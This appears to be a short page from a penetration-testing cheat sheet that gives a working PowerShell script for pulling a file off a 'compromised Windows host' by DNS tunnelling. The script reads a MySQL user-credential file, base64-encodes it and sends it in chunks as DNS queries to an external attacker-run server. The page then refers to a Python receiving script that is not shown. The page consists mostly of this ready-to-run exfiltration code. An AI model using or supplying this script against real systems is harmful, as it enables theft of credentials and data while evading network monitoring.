DNS

Exfiltrate a file using an external DNS server

# Run this PowerShell script on the compromised Windows host, change the $filePath, $domain and $dnsServer variables accordingly.
$filePath = "C:\xampp\mysql\data\mysql\user.frm"

if (Test-Path $filePath) {
    $fileBytes = [System.IO.File]::ReadAllBytes($filePath)
    $encoded = [Convert]::ToBase64String($fileBytes)
    $chunks = $encoded -split '(.{50})' | Where-Object { $_ }
    $domain = "yourdomain.com"
    $dnsServer = "192.0.2.1"  # Replace with the IP address of your DNS server
    $sessionId = (Get-Date -Format "yyyyMMddHHmmss")
    $i = 0
    foreach ($chunk in $chunks) {
        $label = "{0:D4}" -f $i
        $query = "$label.$chunk.$sessionId.$domain"
        try {
            Resolve-DnsName -Name $query -Type A -Server $dnsServer | Out-Null
        } catch {}
        Start-Sleep -Milliseconds 100
        $i++
    }
    Write-Host "Exfiltration simulation complete for file: $filePath"
} else {
    Write-Host "File not found: $filePath"
}

Host the following Python script on an externally available DNS server

Last updated